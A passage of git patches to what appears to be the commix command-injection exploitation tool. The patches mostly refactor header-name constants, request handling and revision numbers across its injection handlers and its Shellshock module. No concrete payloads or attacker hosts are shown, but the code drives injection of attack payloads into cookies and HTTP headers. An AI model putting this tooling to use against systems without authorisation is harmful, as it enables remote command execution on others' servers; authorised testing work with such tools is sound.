- + parameters_list = [] # Split multiple parameters if settings.IS_XML: @@ -562,7 +571,7 @@ def multi_params_get_value(parameter): if checks.ignore_google_analytics_cookie(cookie): return cookie # Check for empty values (in provided parameters). - if checks.is_empty(multi_parameters, http_request_method = "cookie"): + if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): return cookie # Check if defined the INJECT_TAG if settings.INJECT_TAG not in cookie: @@ -582,7 +591,7 @@ def multi_params_get_value(parameter): # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in cookie: # Check for empty values (in provided parameters). - if checks.is_empty(multi_parameters, http_request_method = "cookie"): + if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): return cookie for param in range(0, len(all_params)): if param == 0 : diff --git a/src/utils/settings.py b/src/utils/settings.py index 454ce6509a..14d15adba6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -376,6 +376,7 @@ class HEURISTIC_TEST(object): # Testable parameter(s) - comma separated. TEST_PARAMETER = "" +TESTABLE_PARAMETERS = None # Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" @@ -740,7 +741,7 @@ class OS(object): COOKIE_DELIMITER = ";" # Split parameter value -PARAMETER_SPLITTING_REGEX = r'[,]' +PARAMETER_SPLITTING_REGEX = "," # Cookie delimiter PARAMETER_DELIMITER = "&" From f804e0d597c3a170bae07c213e778bd1461168dc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 10 Apr 2024 07:19:22 +0300 Subject: [PATCH 418/560] Trivial update --- .../blind/techniques/time_based/tb_handler.py | 6 ++--- src/core/injections/controller/controller.py | 24 +++++++++---------- src/core/injections/controller/parser.py | 8 +++---- .../techniques/classic/cb_handler.py | 8 +++---- .../techniques/eval_based/eb_handler.py | 8 +++---- .../techniques/file_based/fb_handler.py | 8 +++---- .../techniques/tempfile_based/tfb_handler.py | 8 +++---- src/core/modules/shellshock/shellshock.py | 18 +++++++------- src/core/requests/requests.py | 10 ++++---- src/utils/logs.py | 2 +- src/utils/settings.py | 9 ++++--- 11 files changed, 54 insertions(+), 55 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 45b06c539e..46f193ebc2 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -343,17 +343,17 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r possibly_vulnerable = False if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0e8c42a88d..54a96a3cb0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -391,7 +391,7 @@ def user_agent_injection(url, http_request_method, filename, timesec): menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True if settings.USER_AGENT_INJECTION: - check_parameter = header_name = " User-Agent" + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): @@ -406,7 +406,7 @@ def referer_injection(url, http_request_method, filename, timesec): menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True if settings.REFERER_INJECTION: - check_parameter = header_name = " Referer" + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.REFERER settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): @@ -420,7 +420,7 @@ def host_injection(url, http_request_method, filename, timesec): menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True if settings.HOST_INJECTION: - check_parameter = header_name = " Host" + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.HOST settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): @@ -429,26 +429,26 @@ def host_injection(url, http_request_method, filename, timesec): # User-Agent HTTP header injection if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "user-agent" in menu.options.test_parameter.lower(): + if menu.options.test_parameter == None or settings.USER_AGENT.lower() in menu.options.test_parameter.lower(): user_agent_injection(url, http_request_method, filename, timesec) else: - if "user-agent" not in menu.options.skip_parameter.lower(): + if settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower(): user_agent_injection(url, http_request_method, filename, timesec) # Referer HTTP header injection if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "referer" in menu.options.test_parameter.lower(): + if menu.options.test_parameter == None or settings.REFERER.lower() in menu.options.test_parameter.lower(): referer_injection(url, http_request_method, filename, timesec) else: - if "referer" not in menu.options.skip_parameter.lower(): + if settings.REFERER not in menu.options.skip_parameter.lower(): referer_injection(url, http_request_method, filename, timesec) # Host HTTP header injection if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "host" in menu.options.test_parameter.lower(): + if menu.options.test_parameter == None or settings.HOST.lower() in menu.options.test_parameter.lower(): host_injection(url, http_request_method, filename, timesec) else: - if "host" not in menu.options.skip_parameter.lower(): + if settings.HOST.lower() not in menu.options.skip_parameter.lower(): host_injection(url, http_request_method, filename, timesec) """ @@ -459,10 +459,10 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file for check_parameter in settings.HTTP_HEADERS: settings.HTTP_HEADER = check_parameter if check_for_stored_sessions(url, http_request_method): - if check_parameter == "referer": + if check_parameter == settings.REFERER: menu.options.referer = settings.INJECT_TAG settings.REFERER_INJECTION = True - elif check_parameter == "host": + elif check_parameter == settings.HOST.lower(): menu.options.host= settings.INJECT_TAG settings.HOST_INJECTION = True else: @@ -485,7 +485,7 @@ def cookie_injection(url, http_request_method, filename, timesec): if settings.COOKIE_INJECTION == True: cookie_value = menu.options.cookie - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE settings.HTTP_HEADER = header_name[1:].lower() cookie_parameters = parameters.do_cookie_check(menu.options.cookie) if type(cookie_parameters) is str: diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index c0e43583eb..542f30e1ba 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -127,16 +127,16 @@ def invalid_data(request): extra_headers = "" scheme = "http://" for line in request.splitlines(): - if re.findall(r"Host: " + "(.*)", line): + if re.findall(r"" + settings.HOST + ": " + "(.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header - if re.findall(r"User-Agent: " + "(.*)", line): + if re.findall(r"" + settings.USER_AGENT + ": " + "(.*)", line): menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) # Cookie Header - if re.findall(r"Cookie: " + "(.*)", line): + if re.findall(r"" + settings.COOKIE + ": " + "(.*)", line): menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header - if re.findall(r"Referer: " + "(.*)", line): + if re.findall(r"" + settings.REFERER + ": " + "(.*)", line): menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: scheme = "https://" diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 39665882eb..7df74bc83d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -215,22 +215,22 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: - header_name = " Host" + header_name = settings.SINGLE_WHITESPACE + settings.HOST found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 092135920f..d611c78c5a 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -228,22 +228,22 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: - header_name = " Host" + header_name = settings.SINGLE_WHITESPACE + settings.HOST found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index c47b871333..c8e5ac0493 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -455,22 +455,22 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r next_attack_vector = True if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: - header_name = "Host" + header_name = settings.SINGLE_WHITESPACE + settings.HOST found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index bd6e4c3605..f112457df6 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -370,22 +370,22 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, possibly_vulnerable = False if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: - header_name = " Host" + header_name = settings.SINGLE_WHITESPACE + settings.HOST found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 789a6a3744..cc14cb04df 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -44,9 +44,9 @@ # Available HTTP headers headers = [ -"User-Agent", -"Referer", -"Cookie", +settings.USER_AGENT, +settings.REFERER, +settings.COOKIE, ] # Available Shellshock CVEs @@ -305,9 +305,9 @@ def shellshock_handler(url, http_request_method, filename): print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) - if check_header == "Cookie": + if check_header == settings.COOKIE: menu.options.cookie = payload - if check_header == "User-Agent": + if check_header == settings.USER_AGENT: menu.options.agent = payload log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) @@ -316,9 +316,9 @@ def shellshock_handler(url, http_request_method, filename): response = proxy.use_proxy(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - if check_header == "Cookie": + if check_header == settings.COOKIE: menu.options.cookie = default_cookie - if check_header == "User-Agent": + if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) @@ -553,7 +553,7 @@ def check_for_shell(url, cmd, cve, check_header, filename): header = {check_header : payload} request = _urllib.request.Request(url, None, header) - if check_header == "User-Agent": + if check_header == settings.USER_AGENT: menu.options.agent = payload log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) @@ -562,7 +562,7 @@ def check_for_shell(url, cmd, cve, check_header, filename): response = proxy.use_proxy(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - if check_header == "User-Agent": + if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e6911c121a..b31f955cdb 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -439,9 +439,9 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): payload = checks.newline_fixation(payload) payload = payload.replace("+", "%2B") if settings.INJECT_TAG in menu.options.cookie: - request.add_header('Cookie', menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) + request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) else: - request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) + request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -484,7 +484,7 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('User-Agent', payload) + request.add_header(settings.USER_AGENT, payload) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -527,7 +527,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('Referer', payload) + request.add_header(settings.REFERER, payload) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -578,7 +578,7 @@ def inject_host(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('Host', payload) + request.add_header(settings.HOST, payload) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: diff --git a/src/utils/logs.py b/src/utils/logs.py index eb26856789..1886ced1b5 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -141,7 +141,7 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): with open(filename, 'a') as output_file: if not menu.options.no_logging: - if header_name[1:] == "cookie": + if header_name[1:] == settings.COOKIE.lower(): header_name = " ("+ header_name[1:] + ") " + vuln_parameter if header_name[1:] == "": header_name = " ("+ http_request_method + ") " + vuln_parameter diff --git a/src/utils/settings.py b/src/utils/settings.py index 14d15adba6..3d1f07ab6b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1022,9 +1022,6 @@ class AUTH_TYPE(object): DIGEST = "digest" BEARER = "bearer" -# HTTP Headers -HTTP_HEADERS = [ "user-agent", "referer", "host" ] - RAW_HTTP_HEADERS = "" USER_SUPPLIED_TAMPER = "" @@ -1241,10 +1238,12 @@ class AUTH_TYPE(object): VIA = "Via" X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" - # HTTP Headers values ACCEPT_VALUE = "*/*" +# HTTP Headers +HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ] + # Regular expression used for ignoring some special chars IGNORE_SPECIAL_CHAR_REGEX = "[^/()A-Za-z0-9.:,_+]" IGNORE_JSON_CHAR_REGEX = "[{}\"\[\]]" From f81bd716e584c05029d2348068313dce2b86a705 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 11 Apr 2024 08:17:48 +0300 Subject: [PATCH 419/560] Minor update --- src/core/injections/controller/checks.py | 3 +++ src/core/injections/controller/controller.py | 9 +++++---- src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 83e2f21c44..cbfa01b6d4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1178,6 +1178,9 @@ def check_skipped_params(check_parameters, http_request_method): Print the non-listed parameters. """ def testable_parameters(check_parameters, http_request_method, header_name): + if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 : + menu.options.level = int(settings.HTTP_HEADER_INJECTION_LEVEL) + _ = False if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: _ = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 54a96a3cb0..0b8be5aee5 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -86,7 +86,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, _ = 0 for payload in basic_payloads: _ = _ + 1 - if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): + + if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") @@ -146,7 +147,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t try: if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: - if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): + if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") @@ -402,7 +403,7 @@ def referer_injection(url, http_request_method, filename, timesec): referer = menu.options.referer if not menu.options.shellshock: if menu.options.referer is None: - menu.options.referer = "" + menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True if settings.REFERER_INJECTION: @@ -416,7 +417,7 @@ def referer_injection(url, http_request_method, filename, timesec): def host_injection(url, http_request_method, filename, timesec): host = menu.options.host if menu.options.host is None: - menu.options.host = "" + menu.options.host = _urllib.parse.urlparse(url).netloc menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True if settings.HOST_INJECTION: diff --git a/src/utils/settings.py b/src/utils/settings.py index 3d1f07ab6b..e0fa7b334b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2fca6df3561a141b2b55e787cd9da27929d8e338 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 12 Apr 2024 08:15:46 +0300 Subject: [PATCH 420/560] Minor update regarding testing HTTP Host header --- src/core/injections/controller/controller.py | 6 +++--- src/core/requests/requests.py | 10 +--------- src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 13 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0b8be5aee5..a1e4d182ed 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -114,7 +114,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) - if inject_http_headers: + if inject_http_headers and settings.HOST.capitalize() not in check_parameter: request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -163,7 +163,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: + elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: @@ -174,7 +174,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) - if inject_http_headers: + if inject_http_headers and settings.HOST.capitalize() not in check_parameter: request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b31f955cdb..a83072500e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -416,7 +416,7 @@ def get_request_response(request): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: response = request_failed(err_msg) - + return response """ @@ -560,15 +560,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): """ def host_injection(url, vuln_parameter, payload, http_request_method): - payload = _urllib.parse.urlparse(url).netloc + payload - def inject_host(url, vuln_parameter, payload, http_request_method): - - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - # Check if defined POST data if len(settings.USER_DEFINED_POST_DATA) != 0: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) diff --git a/src/utils/settings.py b/src/utils/settings.py index e0fa7b334b..8479c15ac3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f340f28118b6bb0f2052325066af26f1e7fdc335 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 15 Apr 2024 08:48:00 +0300 Subject: [PATCH 421/560] Minor update --- src/core/requests/parameters.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index bf31606341..22c811c277 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -287,6 +287,7 @@ def json_format(parameter): if not settings.IS_XML: data_type = "XML/SOAP" settings.IS_XML = checks.process_data(data_type, http_request_method) + settings.PARAMETER_DELIMITER = "\n" elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER): settings.IGNORE_USER_DEFINED_POST_DATA = True @@ -297,11 +298,10 @@ def json_format(parameter): parameters_list = [] # Split multiple parameters if settings.IS_XML: - settings.PARAMETER_DELIMITER = "" - parameter = re.sub(r">\s*<", '>\n<', parameter).replace("\\n","\n") + parameter = re.sub(r">\s*<", ">" + settings.PARAMETER_DELIMITER + "<", parameter) _ = [] parameters = re.findall(r'(.*)', parameter) - parameters = [param + "\n" for param in parameters if param] + parameters = [param for param in parameters if param] for value in range(0,len(parameters)): _.append(parameters[value]) multi_parameters = _ diff --git a/src/utils/settings.py b/src/utils/settings.py index 8479c15ac3..ffe9880e78 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f59c0d2dff22f6dc0b92bf1eef3b6b45d097142d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 16 Apr 2024 07:28:10 +0300 Subject: [PATCH 422/560] Trivial update --- src/core/injections/controller/controller.py | 11 +---------- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 12 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index a1e4d182ed..976eefcd22 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -270,13 +270,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.PERFORM_BASIC_SCANS: basic_level_checks() - if menu.options.method: - http_request_method = menu.options.method.upper() - elif check_parameter in settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: - http_request_method = settings.HTTPMETHOD.POST - elif check_parameter in url: - http_request_method = settings.HTTPMETHOD.GET - inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): @@ -304,7 +297,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "" if not header_name == settings.COOKIE and not the_type == "HTTP header": - settings.CHECKING_PARAMETER = str(http_request_method) + settings.CHECKING_PARAMETER = checks.check_http_method(url) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == settings.COOKIE : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) @@ -550,7 +543,6 @@ def get_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - http_request_method = checks.check_http_method(url) checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(found_url)): @@ -611,7 +603,6 @@ def post_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - http_request_method = checks.check_http_method(url) checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(found_parameter)): diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index e862d8644d..e0645a31fc 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -112,7 +112,7 @@ def send(self, req): unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] request_http_headers = [x for x in unique_request_http_headers if x] - if menu.options.data and \ + if settings.USER_DEFINED_POST_DATA and \ len(request_http_headers) == 1 and \ settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index ffe9880e78..f5404df110 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0cf03d4cac767805d3b89b62f9239c5499aac13c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 17 Apr 2024 07:22:53 +0300 Subject: [PATCH 423/560] Improvement regarding option `--skip` for excluding certain parameter(s) from testing --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 29 +++++++++++--------- src/core/injections/controller/controller.py | 8 +++--- src/utils/settings.py | 2 +- 4 files changed, 22 insertions(+), 18 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c116106fa5..719f9a38af 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## 